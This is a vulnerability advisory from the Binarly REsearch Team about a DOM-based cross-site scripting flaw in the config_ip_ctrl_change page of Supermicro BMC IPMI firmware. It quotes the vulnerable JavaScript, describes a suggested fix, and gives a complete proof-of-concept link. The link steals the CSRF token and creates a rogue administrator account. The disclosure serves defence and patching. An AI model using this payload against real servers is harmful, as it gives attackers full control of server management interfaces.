An attacker could exploit this vulnerability to create an account with administrative privileges to the web server component of BMC IPMI software. Such account provides full access to these settings: System Information, Chassis Locator Control, FRU Reading, Sensor Readings, Event Log, Alert, LDAP, Mouse Mode, Network, SMTP, SSL, Users, Event Action, Power Control, KVM, F/W Update, Logout. It also allows exploitation of vulnerabilities that require authentication.
Binarly REsearch Team has discovered a DOM-based cross-site scripting (XSS) vulnerability in the config_ip_ctrl_change webpage that uses index GET parameter, included in the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to gain access to an account with administrator privileges.
An attacker could exploit this vulnerability to create an account with administrative privileges to the web server component of BMC IPMI software. Such account provides full acess to these settings: System Information, Chassis Locator Control, FRU Reading, Sensor Readings, Event Log, Alert, LDAP, Mouse Mode, Network, SMTP, SSL, Users, Event Action, Power Control, KVM, F/W Update, Logout. It also allows exploitation of vulnerabilities that require authentication.
config_ip_ctrl_change HTML page contains the PageInit() JavaScript function, which is executed when the webpage is loaded. This function gets the value of the index request parameter and then assigns it to the content of the HTML object with id = ruleno using the innerHTML property without any sanitization.
function PageInit()
{
...
index_var = GetVars("index");
...
ruleno_obj = document.getElementById("ruleno");
...
ruleno_obj.innerHTML = index_var;
...
}
function GetVars (str)
{
url = location.search;
var parameterList = url.split ("&");
for (var i = 0; i < parameterList.length; i++) {
parameter = parameterList[i].split ("=");
if (parameter[0] == str) {
return (decodeURIComponent (parameter[1]));
}
}
}As a result, arbitrary JavaScript code can be injected into the webpage, which will be executed on behalf of the authenticated user.
To create an administrator account with username BRLY and password BRLYBRLY an attacker can trick an authenticated user with administrative privileges to open this link in a web browser:
https://192.168.0.8:443/cgi/url_redirect.cgi?url_name=config_ip_ctrl_change&index=%3Cimg%20src%3d1%20onerror%3d'var csrfRegex%3d/CSRF_TOKEN", "([^"]*?)"/g;var csrfMatch%3dcsrfRegex.exec(document.body.innerHTML);var csrf%3dcsrfMatch[1];fetch("https://192.168.0.8:443/cgi/op.cgi",{method:"POST",headers:{"Csrf_token":csrf},body:"op%3dconfig_user%26username%3dBRLY%26original_username%3d2%26password%3dBRLYBRLY%26new_privilege%3d4%26_%3d"})'%3E
Here, the onerror event is used to execute JavaScript code when the browser tries to download a non-existenting image. The JS code first obtains the user's CSRF token and then uses it to make a POST request in order to create a user with administrative privileges and credentials defined by the attacker.
Ideally, user controlled parameters should not be assigned to HTML elements. If it is not possible in such case, the index parameter must be checked against a whitelist of allowed values.
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
Binarly REsearch Team